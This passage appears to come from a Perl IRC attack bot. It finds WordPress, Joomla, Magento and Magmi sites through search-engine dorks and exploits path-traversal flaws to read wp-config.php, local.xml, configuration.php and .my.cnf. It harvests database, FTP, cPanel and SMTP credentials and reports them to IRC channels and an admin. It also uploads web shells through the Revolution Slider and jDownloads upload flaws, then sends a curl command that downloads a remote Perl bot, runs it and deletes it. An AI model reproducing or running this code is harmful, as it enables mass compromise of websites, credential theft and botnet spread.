  2137. sub magmi12_xpl() {
  2138.     my $ua = LWP::UserAgent->new;
  2139.     $ua->timeout(10);
  2140.     my $url    = $_[0];
  2141.     my $chan   = $_[1];
  2142.     my $site   = $_[2];
  2143.     my $engine = $_[3];
  2144.     my $nick = $_[4];
  2145.     my $count = 0;
  2146.     my @dirc    = ("../../../../../../",
  2147.     "../../../../../",
  2148.     "../../../../",
  2149.     "../../../",
  2150.     "../../");
  2151.     my $dir = $dirc[rand(scalar(@dirc))];
  2152.     my $bugs = "/magmi/web/download_file.php?file=";
  2153.     my $action = "http://".$site.$bugs.$dir."downloader/connect.cfg";
  2154.     my $ua = LWP::UserAgent->new;
  2155.     my $req = HTTP::Request->new(GET => $action);
  2156.     my $html = $ua->request($req)->content;
  2157.     #my $html  = &get_content($action);
  2158.     if ($html =~ /ftp/i) {
  2159.         my $serverIP   ="";
  2160.         if ($html =~ /"ftp:\/\/(.*)"/){$ftp=$1;}
  2161.         if ($ftp) {
  2162.         #&msg("$submitchan","FTP $mglogo 9http://".$site." [+] Log FTP: 9 Checking");sleep(2);
  2163.         &msg("$admin","FTP $mglogo 9http://".$site." [+] Log FTP: 9".$ftp."");sleep(2);
  2164.         #&msg("$nick","FTP $mglogo 9http://".$site." [+] Log FTP: 9".$ftp."");sleep(2);
  2165.         &msg("$submitchan","FTP $mglogo 9http://".$site." [+] Log FTP: 9".$ftp."");sleep(2);
  2166.         #&inboxing("Mag FTPlog","http://".$site." [+] Log FTP: ".$ftp."");sleep(2);
  2167.         my $cekftps = $ftp;
  2168.                 if($cekftps =~ /(.*?):(.*?)@(.*?)\//){
  2169.                 my $fuser = $1;
  2170.                 my $fpass = $2;
  2171.                 my $fhost = $3;
  2172.                 &msg("$admin","FTP $mglogo 9http://".$site." [+] Log FTP: 9host : ".$fhost." user : ".$fuser." pass : ".$fpass."");sleep(2);
  2173.                 &msg("$submitchan","FTP $mglogo 9http://".$site." [+] Log FTP: 9host : ".$fhost." user : ".$fuser." pass : ".$fpass."");sleep(2);
  2174.                 if($fhost eq "localhost" || $fhost eq "127.0.0.1" || $fhost eq "localhost:21" || $fhost eq "127.0.0.1:21"){
  2175.         $hosts = $site;
  2176.         if ($hosts =~ /\//i){$hosts =~ s/\///g;}
  2177.         &msg("$submitchan","Checking FTP $mglogo 9http://".$site." [+] Log FTP: 9host : ".$hosts." user : ".$fuser." pass : ".$fpass."");sleep(2);
  2178.                 &ftpmy_connect($site,$hosts,$fuser,$fpass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2179.                 } else {
  2180.                 &msg("$submitchan","Checking FTP $mglogo 9http://".$site." [+] Log FTP: 9host : ".$fhost." user : ".$fuser." pass : ".$fpass."");sleep(2);
  2181.                 &ftpmy_connect($site,$fhost,$fuser,$fpass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2182.                 }
  2183.     }
  2184.         }
  2185.     }
  2186. }
  2187.  
  2188. sub magmi13_xpl() {
  2189.     my $ua = LWP::UserAgent->new;
  2190.     $ua->timeout(10);
  2191.     my $url    = $_[0];
  2192.     my $chan   = $_[1];
  2193.     my $site   = $_[2];
  2194.     my $engine = $_[3];
  2195.     my $nick = $_[4];
  2196.     my $count = 0;
  2197.     my $action = "http://".$site."/magmi/web/download_file.php?file=../../../.my.cnf";
  2198.     my $ua = LWP::UserAgent->new;
  2199.     my $req = HTTP::Request->new(GET => $action);
  2200.     my $html = $ua->request($req)->content;
  2201.     #my $html  = &get_content($action);
  2202.     if ($html =~ /[client]/i) {
  2203.         my $serverIP   ="";my $user = ""; my $pass = "";
  2204.         if ($html =~ /user=(.*)/){
  2205.             my $user=$1;
  2206.             if ($user =~ /\'/i){$user =~ s/'//g;}
  2207.             if ($user =~ /\"/i){$user =~ s/"//g;}
  2208.         }
  2209.         if ($html =~ /password=(.*)/){
  2210.             my $pass=$1;
  2211.                     if ($pass =~ /\'/i){$pass =~ s/'//g;}
  2212.             if ($pass =~ /\"/i){$pass =~ s/"//g;}
  2213.         }
  2214.         if($user && $pass){
  2215.         #&msg("$chaninfo","CPANEL $mglogo 9http://".$site." [+]username: 9".$user." 9[+]password: 9".$pass."");sleep(2);
  2216.         my $hosts = "http://".$site;
  2217.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2218.             $host = $2;
  2219.             &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2220.         }
  2221.         }
  2222.     }
  2223. }
  2224.  
  2225.  
  2226.  
  2227. sub gento_exploit() {
  2228.     my $url    = $_[0];
  2229.     my $chan   = $_[1];
  2230.     my $site   = $_[2];
  2231.     my $engine = $_[3];
  2232.     my $nick = $_[4];
  2233.     my $count = 0;
  2234.     my $vuln  = "http://".$site."/app/etc/local.xml";
  2235.     my $html  = &get_content($vuln);
  2236.     if ($html =~ /dbname/i) {
  2237.         my $serverIP   ="";
  2238.         &msg("$chan","$mglogo $engine  Exploit ");sleep(2);
  2239.         if ($html =~ /<host><!\[CDATA\[(.*)\]\]\><\/host>/) {$serverIP=$1;}
  2240.         if ($html =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/){$user=$1;}
  2241.         if ($html =~ /<password><!\[CDATA\[(.*)\]\]\><\/password>/){$pass=$1;}
  2242.         if ($html =~ /<dbname><!\[CDATA\[(.*)\]\]\><\/dbname>/){$dbname=$1;}
  2243.         if ($html =~ /<frontName><!\[CDATA\[(.*)\]\]\><\/frontName>/){$logadmin=$1;}
  2244.         if ($html =~ /<key><!\[CDATA\[(.*)\]\]\><\/key>/){$key=$1;}
  2245.         &msg("$chanxxx","$mglogo 9http://".$site." 9[+]hostname: 9".$serverIP."9 [+]username: 9".$user." 9[+]password: 9".$pass." 9[+]dbname: 9".$dbname." Login : ".$logadmin." Key : ".$key."");sleep(2);
  2246.         if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
  2247.         my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
  2248.         my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
  2249.         my $ftplog = &get_content($ceklog);sleep(2);
  2250.         my $ftplog2 = &get_content($ceklog2);sleep(2);
  2251.         if ($ftplog =~ /ftp/) {
  2252.             &msg("$admin","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  2253.             #&msg("$nick","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  2254.             &msg("$submitchan","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  2255.             #&inboxing("Mag FTP","FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2);
  2256.             #&msg("$chan","12[+]$mglogo4$engine 12FTP[+]Success send To Admin");
  2257.         }
  2258.         if ($ftplog2 =~ /ftp/) {
  2259.             &msg("$admin","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  2260.             #&msg("$nick","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  2261.             &msg("$submitchan","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  2262.             #&inboxing("Mag FTP","FTP[+] ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2);
  2263.             #&msg("$chan","12[+]$mglogo4$engine 12FTP[+]Success send To Admin");
  2264.         }
  2265.         my $hosts = "http://".$site;
  2266.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2267.             $host = $2;
  2268.             if($serverIP eq "localhost" || $serverIP eq "127.0.0.1" || $serverIP eq "localhost:3306" || $serverIP eq "127.0.0.1:3306"){
  2269.             &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo,$key,$nick);sleep(2);
  2270.             }else{
  2271.             &dbi_connect($site,$serverIP,$user,$pass,$dbname,$chanxxx,$engine,$mglogo,$key,$nick);sleep(2);
  2272.             }
  2273.             if ($user =~ /_/) {
  2274.                 @users = split("_",$user); $user = $users[0];
  2275.                 &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2276.             } else {
  2277.             &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo,$nick);sleep(2);
  2278.             }
  2279.         }
  2280.     }
  2281. }
  2282.  
  2283.  
  2284.  
  2285.  
  2286. ######## REVSLIDER EXPLOIT #############
  2287. sub wordpress_exploit() {
  2288.     my $chan = $_[0];
  2289.     my $bug = $_[1];
  2290.     my $dork = $_[2];
  2291.     my $engine = $_[3];
  2292.     my $nick = $_[4];
  2293.     my $count = 0;
  2294.     my @list = search_engine($chan,$bug,$dork,$engine,$wplogo);
  2295.     my $num = scalar(@list);
  2296.     if ($num > 0){
  2297.         foreach my $site(@list){
  2298.             $count++;
  2299.             if ($count == $num-1) {
  2300.                 &msg("$chan","$wplogo $engine Done");
  2301.             }
  2302.             my $target = "http://".$site.$bug;
  2303.             my $cekftp = $target;
  2304.             $cekftp =~ s/http:\/\///;
  2305.             $cekftp =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2306.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2307.                 my $check = &get_content($target."?action=revslider_show_image&img=../wp-config.php");&get_content($target."?action=revolution-slider_show_image&img=../wp-config.php");
  2308.                 if ($check =~ /define\('DB_USER'/) {
  2309.                     &msg("$chan","$engine  Checking 9http://$site ");
  2310.                     my ($host,$user,$pass,@userz);
  2311.                     if ($check =~ /define\('DB_HOST', '(.*)'\);/) { $host = $1; }
  2312.                     if ($check =~ /define\('DB_USER', '(.*)'\);/) { $user = $1; }
  2313.                     if ($check =~ /define\('DB_PASSWORD', '(.*)'\);/) { $pass = $1; }
  2314.                     if ($host =~ /127.0.0.1/) { $host = $cekftp}
  2315.                     if ($host =~ /localhost/i) { $host = $cekftp}
  2316.                                     &msg("$chanxxx","$wplogo $engine 3 Site : $site Database 14Host:3 $host 14| 4User:3 $user 14| 6Pass:10 $pass ");sleep(2);
  2317.                                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2318.                                     if ($user =~ /_/) { @userz = split(/_/,$user); $user = $userz[0];
  2319.                                         &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2320.                                     }
  2321.                                     if ($dbname =~ /_/) { @userz = split(/_/,$dbname); $user = $userz[0];
  2322.                                         &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2323.                                     }
  2324.                                     &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$wplogo,"",$nick);
  2325.                                     &cpanel_xpl($target,$chan,$site,$engine);sleep(2);
  2326.                                     &cpanel2_xpl($target,$chan,$site,$engine);sleep(2);
  2327.                     my $shell = "http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/up.php";
  2328.                     my $aplod = LWP::UserAgent->new;
  2329.                     my $res = $aplod->post($target, Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]);
  2330.                     my $hasil = $res->as_string;
  2331.                     if ($hasil =~ /Wrong update extracted folder/) {
  2332.                         my $check = &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+c.jpg%3Brm+c.jpg");
  2333.                         if ($check =~ /GIF89aGiam/){
  2334.                             my ($safe,$os,$uid);
  2335.                             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2336.                             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2337.                             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2338.                             &msg("$admin","$wplogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2339.                             #&inboxing("WP Shell","sHeLL ".$shell." (SafeMode=".$safe.") (OS=".$os.") uid=".$uid."");sleep(2);
  2340.                             ##&msg("$nick","$wplogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2341.                             &msg("$chanxxx","$wplogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2342.                             &msg("$chan","$wplogo4Send1 8Target 9TO 13Get Info4<9= (SafeMode=$safe) (OS=$os) uid=$uid 4>");
  2343.                         }
  2344.                     }
  2345.  
  2346.  
  2347.                 } else {
  2348.                 &revol_xpl($site,$chanxxx,$engine,$nick,$wplogo);sleep(2);
  2349.                 }
  2350.                
  2351.             } exit;
  2352.         }
  2353.         }
  2354.     }
  2355.     }
  2356.  
  2357. sub revol_xpl() {
  2358.     my $ua = LWP::UserAgent->new;
  2359.     $ua->timeout(10);
  2360.     my $site    = $_[0];
  2361.     my $chan   = $_[1];
  2362.     my $engine = $_[2];
  2363.     my $nick    = $_[3];
  2364.     my $count = 0;
  2365.     my $action = "http://".$site."/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php";
  2366.     my $ua = LWP::UserAgent->new;
  2367.     my $req = HTTP::Request->new(GET => $action);
  2368.     my $html = $ua->request($req)->content;
  2369.     #my $html  = &get_content($action);
  2370.     my $target = "http://".$site;
  2371.     my $cekftp = $site;
  2372.         $cekftp =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2373.     if ($html =~ /define\('DB_USER'/) {
  2374.             &msg("$chan","$engine  Re-Down Checking 9http://$site ");
  2375.                     my ($host,$user,$pass,@userz);
  2376.                     if ($check =~ /define\('DB_HOST', '(.*)'\);/) { $host = $1; }
  2377.                     if ($check =~ /define\('DB_USER', '(.*)'\);/) { $user = $1; }
  2378.                     if ($check =~ /define\('DB_PASSWORD', '(.*)'\);/) { $pass = $1; }
  2379.                     if ($host =~ /127.0.0.1/) { $host = $cekftp;}
  2380.                     if ($host =~ /localhost/i) { $host = $cekftp;}
  2381.         &msg("$chanxxx","$wplogo Re-Down $engine 3 Site : $site Database 14Host:3 $host 14| 4User:3 $user 14| 6Pass:10 $pass ");sleep(2);
  2382.                 if ($user =~ /_/) {
  2383.                         @userz = split(/_/,$user); $user = $userz[0];
  2384.                         &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2385.                     } else {
  2386.                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2387.                     }
  2388.                 &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$wplogo,"",$nick);
  2389.                 &cpanel_xpl($target,$chaninfo,$site,$engine);sleep(2);
  2390.                 &cpanel2_xpl($target,$chaninfo,$site,$engine);sleep(2);
  2391.     } else {
  2392.     &wpecom_xpl($site,$chanxxx,$engine,$nick,$wplogo);sleep(2);
  2393.     }
  2394. }
  2395.  
  2396. sub wpecom_xpl() {
  2397.     my $ua = LWP::UserAgent->new;
  2398.     $ua->timeout(10);
  2399.     my $site    = $_[0];
  2400.     my $chan   = $_[1];
  2401.     my $engine = $_[2];
  2402.     my $nick    = $_[3];
  2403.     my $count = 0;
  2404.     my $action = "http://".$site."/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../wp-config.php";
  2405.     my $ua = LWP::UserAgent->new;
  2406.     my $req = HTTP::Request->new(GET => $action);
  2407.     my $html = $ua->request($req)->content;
  2408.     #my $html  = &get_content($action);
  2409.     my $target = "http://".$site;
  2410.     my $cekftp = $site;
  2411.         $cekftp =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2412.     if ($html =~ /define\('DB_USER'/) {
  2413.             &msg("$chan","$engine  WP-eCom Checking 9http://$site ");
  2414.                     my ($host,$user,$pass,@userz);
  2415.                     if ($check =~ /define\('DB_HOST', '(.*)'\);/) { $host = $1; }
  2416.                     if ($check =~ /define\('DB_USER', '(.*)'\);/) { $user = $1; }
  2417.                     if ($check =~ /define\('DB_PASSWORD', '(.*)'\);/) { $pass = $1; }
  2418.                     if ($host =~ /127.0.0.1/) { $host = $cekftp;}
  2419.                     if ($host =~ /localhost/i) { $host = $cekftp;}
  2420.         &msg("$chanxxx","$wplogo eComm $engine 3 Site : $site Database 14Host:3 $host 14| 4User:3 $user 14| 6Pass:10 $pass ");sleep(2);
  2421.                 if ($user =~ /_/) {
  2422.                         @userz = split(/_/,$user); $user = $userz[0];
  2423.                         &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2424.                     } else {
  2425.                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2426.                     }
  2427.                 &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$wplogo,"",$nick);
  2428.                 &cpanel_xpl($target,$chaninfo,$site,$engine);sleep(2);
  2429.                 &cpanel2_xpl($target,$chaninfo,$site,$engine);sleep(2);
  2430.     }
  2431. }
  2432.  
  2433. sub cpanel_xpl() {
  2434.     my $ua = LWP::UserAgent->new;
  2435.     $ua->timeout(10);
  2436.     my $url    = $_[0];
  2437.     my $chan   = $_[1];
  2438.     my $site   = $_[2];
  2439.     my $engine = $_[3];
  2440.     my $count = 0;
  2441.     my @dirc    = ("../../../../",
  2442.     "../../../",
  2443.     "../../",
  2444.     "../");
  2445.     my $dir = $dirc[rand(scalar(@dirc))];
  2446.     my $action = "http://".$url."?action=revslider_show_image&img=".$dir.".my.cnf";
  2447.     my $action2 = "http://".$url."?action=revolution-slider_show_image&img=".$dir.".my.cnf";
  2448.     my $ua = LWP::UserAgent->new;
  2449.     my $req = HTTP::Request->new(GET => $action);
  2450.     my $req2 = HTTP::Request->new(GET => $action2);
  2451.     my $html = $ua->request($req)->content;
  2452.     my $html2 = $ua->request($req2)->content;
  2453.     #my $html  = &get_content($action);
  2454.     if ($html =~ /[client]/i) {
  2455.         my $serverIP   ="";my $user = ""; my $pass = "";
  2456.         if ($html =~ /user=(.*)/){
  2457.             my $user=$1;
  2458.             if ($user =~ /\'/i){$user =~ s/'//g;}
  2459.             if ($user =~ /\"/i){$user =~ s/"//g;}
  2460.         }
  2461.         if ($html =~ /password=(.*)/){
  2462.             my $pass=$1;
  2463.                     if ($pass =~ /\'/i){$pass =~ s/'//g;}
  2464.             if ($pass =~ /\"/i){$pass =~ s/"//g;}
  2465.         }
  2466.         #&msg("$chaninfo","CPANEL $wplogo 9http://".$site."[+]username: 9".$user." 9[+]password: 9".$pass."");sleep(2);
  2467.         my $hosts = "http://".$site;
  2468.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2469.             $host = $2;
  2470.             &ftp_wp($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2471.         }
  2472.     }
  2473.         if ($html2 =~ /[client]/i) {
  2474.             my $serverIP   ="";
  2475.         if ($html =~ /user=(.*)/){
  2476.         $user=$1;
  2477.         $user =~ s/"//g;
  2478.         $user =~ s/'//g;
  2479.         }
  2480.         if ($html =~ /password=(.*)/){
  2481.         $pass=$1;
  2482.         $pass =~ s/"//g;
  2483.         $pass =~ s/'//g;
  2484.         }
  2485.             #&msg("$chaninfo","CPANEL $wplogo 9http://".$site."[+]username: 9".$user." 9[+]password: 9".$pass."");sleep(2);
  2486.             my $hosts = "http://".$site;
  2487.             if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2488.                 $host = $2;
  2489.                 &ftp_wp($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2490.             }
  2491.  
  2492.     }
  2493. }
  2494.  
  2495. sub cpanel2_xpl() {
  2496.     my $ua = LWP::UserAgent->new;
  2497.     $ua->timeout(10);
  2498.     my $url    = $_[0];
  2499.     my $chan   = $_[1];
  2500.     my $site   = $_[2];
  2501.     my $engine = $_[3];
  2502.     my $count = 0;
  2503.     my $action = "http://".$url."?action=revslider_show_image&img=../../../.my.cnf";
  2504.     my $action2 = "http://".$url."?action=revolution-slider_show_image&img=../../../.my.cnf";
  2505.     my $ua = LWP::UserAgent->new;
  2506.     my $req = HTTP::Request->new(GET => $action);
  2507.     my $req2 = HTTP::Request->new(GET => $action2);
  2508.     my $html = $ua->request($req)->content;
  2509.     my $html2 = $ua->request($req2)->content;
  2510.     #my $html  = &get_content($action);
  2511.     if ($html =~ /[client]/i) {
  2512.         my $serverIP   ="";my $user = ""; my $pass = "";
  2513.         if ($html =~ /user=(.*)/){
  2514.             my $user=$1;
  2515.             if ($user =~ /\'/i){$user =~ s/'//g;}
  2516.             if ($user =~ /\"/i){$user =~ s/"//g;}
  2517.         }
  2518.         if ($html =~ /password=(.*)/){
  2519.             my $pass=$1;
  2520.                     if ($pass =~ /\'/i){$pass =~ s/'//g;}
  2521.             if ($pass =~ /\"/i){$pass =~ s/"//g;}
  2522.         }
  2523.         #&msg("$chanxxx","CPANEL $wplogo 9http://".$site."[+]username: 9".$user." 9[+]password: 9".$pass."");sleep(2);
  2524.         my $hosts = "http://".$site;
  2525.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2526.             $host = $2;
  2527.             &ftp_wp($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2528.         }
  2529.     }
  2530.         if ($html2 =~ /[client]/i) {
  2531.             my $serverIP   ="";
  2532.         if ($html =~ /user=(.*)/){
  2533.             my $user=$1;
  2534.             if ($user =~ /\'/i){$user =~ s/'//g;}
  2535.             if ($user =~ /\"/i){$user =~ s/"//g;}
  2536.         }
  2537.         if ($html =~ /password=(.*)/){
  2538.             my $pass=$1;
  2539.                     if ($pass =~ /\'/i){$pass =~ s/'//g;}
  2540.             if ($pass =~ /\"/i){$pass =~ s/"//g;}
  2541.         }
  2542.             #&msg("$chanxxx","CPANEL $wplogo 9http://".$site."[+]username: 9".$user." 9[+]password: 9".$pass."");sleep(2);
  2543.             my $hosts = "http://".$site;
  2544.             if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2545.                 $host = $2;
  2546.                 &ftp_wp($site,$host,$user,$pass,$chanxxx,$engine,$wplogo,$nick);
  2547.             }
  2548.  
  2549.     }
  2550. }
  2551.  
  2552.  
  2553. ########## HD Player Exploit###########
  2554. sub hd_exploit() {
  2555.     my $chan = $_[0];
  2556.     my $bug = $_[1];
  2557.     my $dork = $_[2];
  2558.     my $engine = $_[3];
  2559.     my $nick = $_[4];
  2560.     my $count = 0;
  2561.     my @list = search_engine($chan,$bug,$dork,$engine,$hdlogo);
  2562.     my $num = scalar(@list);
  2563.     if ($num > 0){
  2564.  
  2565.         foreach my $site(@list){
  2566.             $count++;
  2567.             if ($count == $num-1) {
  2568.                 &msg("$chan","$hdlogo $engine 9Done15 ");
  2569.  
  2570.             }
  2571.             my $target = "http://".$site.$bug;
  2572.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2573.                 my $check = &get_content($target."?f=../../../configuration.php");
  2574.                 if ($check =~ /JConfig/i) {
  2575.                     &msg("$chan","$hdlogo $engine Exploit");
  2576.                     my ($host,$user,$pass);
  2577.                                    $target =~ s/http:\/\///;
  2578.                                    $target =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2579.                                    if ($check =~ m/\$ftp_host = '(.+?)';/i){$host=$1;}
  2580.                                    if ($check =~ m/\$ftp_user= '(.+?)';/i){$user=$1;}
  2581.                                    if ($check =~ m/\$ftp_pass = '(.+?)';/i){$pass=$1;}
  2582.                                    if ($check =~ m/\$user = '(.+?)';/i){$dbuser=$1;}
  2583.                                    if ($check =~ m/\$host = '(.+?)';/i){$dbhost=$1;}
  2584.                                    if ($check =~ m/\$db = '(.+?)';/i){$dbname=$1;}
  2585.                                    if ($check =~ m/\$password = '(.+?)';/i){$dbpass=$1;}
  2586.                                    if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
  2587.                                    if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
  2588.                                    if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
  2589.                                    if ($check =~ m/\$smtpport = '(.+?)';/i){$smtpport=$1;}
  2590.                                    if ($host =~ /127.0.0.1/) { $host = $target}
  2591.                     #&msg("$chanxxx","15,1 [9FTP15] [ 9http://".$site." 15] [DBHOST:".$host."DBUSER: ".$dbuser." :DBPASS: ".$dbpass." | SMTP => send to ".$admin."15");sleep(2);
  2592.                     &msg("$admin","15,1 [9SMTP15] [ 9http://".$site." 15] [ SMTP => Host : ".$smtphost.":".$smtpport." User : ".$smtpuser." Pass : ".$smtppass."15");sleep(2);
  2593.                     #&msg("$chanxxx","15,1 [9SMTP15] [ 9http://".$site." 15] [ SMTP => Host : ".$smtphost.":".$smtpport." User : ".$smtpuser." Pass : ".$smtppass."15");sleep(2);
  2594.                     #&msg("$chanxxx","$hdlogo $engine $c2 9Database 15Host:9 $host 4| 15User:9 $user 4| 15Pass:9 $pass ");
  2595.                     &ftp_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$hdlogo,$nick);
  2596.                     &dbi_connect($site,$dbhost,$dbuser,$dbpass,$dbname,$chanxxx,$engine,$hdlogo,"",$nick);
  2597.                     if ($dbuser =~ /_/) {
  2598.                         my @userz = split("_", $user); $user = $userz[0];
  2599.                         &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$hdlogo,$nick);
  2600.                     }
  2601.                     if ($dbname =~ /_/) {
  2602.                         my @userz = split("_", $dbname); $user = $userz[0];
  2603.                         &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$hdlogo,$nick);
  2604.                     }
  2605.  
  2606.  
  2607.                 }
  2608.  
  2609.             } exit;
  2610.  
  2611.             }
  2612.             }
  2613.     }
  2614. }
  2615.  
  2616.  
  2617.  
  2618. ######### jDOwnload Exploit ############
  2619.  
  2620. sub jd_exploit() {
  2621.     my $chan = $_[0];
  2622.     my $bug = $_[1];
  2623.     my $dork = $_[2];
  2624.     my $engine = $_[3];
  2625.     my $nick = $_[4];
  2626.     my $count = 0;
  2627.     my @list = search_engine($chan,$bug,$dork,$engine,$jdlogo);
  2628.     my $num = scalar(@list);
  2629.     if ($num > 0){
  2630.  
  2631.         foreach my $site(@list){
  2632.             $count++;
  2633.             if ($count == $num-1) {
  2634.                 &msg("$chan","$jdlogo $engine 9Done15");
  2635.  
  2636.             }
  2637.             my $target = "http".$site.$bug;
  2638.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2639.                 my $aplod = LWP::UserAgent->new;
  2640.                 my $res = $aplod-> post($target, [ name => "xrt", mail => 'darkirc9@gmail.com', catlist => "1", file_upload => ['./google.zip' => 'google.zip' => 'application/octet-stream'], filetitle => "xrt", description => "id", send => "1", senden => "Send file", description => 'xrt', option => "com_jdownloads", view => "upload", pic_upload => ['./up.jpg' => 'up.php.j' => 'application/octet-stream'],], Content_Type => 'form-data');
  2641.                 my $hasil = $res->content;
  2642.                 if ($hasil =~ /color="green"/i) {
  2643.                     my $shell = "http".$site."images/jdownloads/screenshots/up.php.j";
  2644.                     my $shell1 = "http".$site."images/jdownloads/screenshots/cuk.php.j";
  2645.                     my $shell2 = "http".$site."images/jdownloads/screenshots/index.php.j";
  2646.                     my $shell3 = "http".$site."images/jdownloads/screenshots/localhost.php.j";
  2647.                     #&msg("$chan","$jdlogo $engine $c2 Checking $site ");
  2648.                     my $check = &get_content($shell."?rf");
  2649.                     my $check = &get_content($shell1."?rf");
  2650.                     my $check = &get_content($shell2."?rf");
  2651.                     my $check = &get_content($shell3."?rf");
  2652.                     if ($check =~ /GIF89aGiam/){
  2653.                                     my ($safe,$os,$uid,$host,$user,$pass);
  2654.                                     if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2655.                                     if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2656.                                     if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2657.                                     &msg("$chan","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2658.                                     &msg("$admin","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2659.                                     $target =~ s/http:\/\///;
  2660.                                     $target =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2661.                                     if ($check =~ m/\$ftp_host = '(.+?)';/i){$host=$1;}
  2662.                                     if ($check =~ m/\$ftp_user = '(.+?)';/i){$user=$1;}
  2663.                                     if ($check =~ m/\$ftp_pass = '(.+?)';/i){$pass=$1;}
  2664.                                     if ($check =~ m/\$user = '(.+?)';/i){$dbuser=$1;}
  2665.                         if ($check =~ m/\$host = '(.+?)';/i){$dbhost=$1;}
  2666.                         if ($check =~ m/\$db = '(.+?)';/i){$dbname=$1;}
  2667.                         if ($check =~ m/\$password = '(.+?)';/i){$dbpass=$1;}
  2668.                         if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
  2669.                         if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
  2670.                         if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
  2671.                         if ($check =~ m/\$smtpport = '(.+?)';/i){$smtpport=$1;}
  2672.                                     if ($host =~ /127.0.0.1/) { $host = $target}
  2673.                                     &msg("$chanxxx","15,1 [9FTP15] [ 9http://".$site." 15] [DBHOST:".$host."DBUSER: ".$dbuser." :DBPASS: ".$dbpass." | SMTP => send to ".$admin."15");sleep(2);
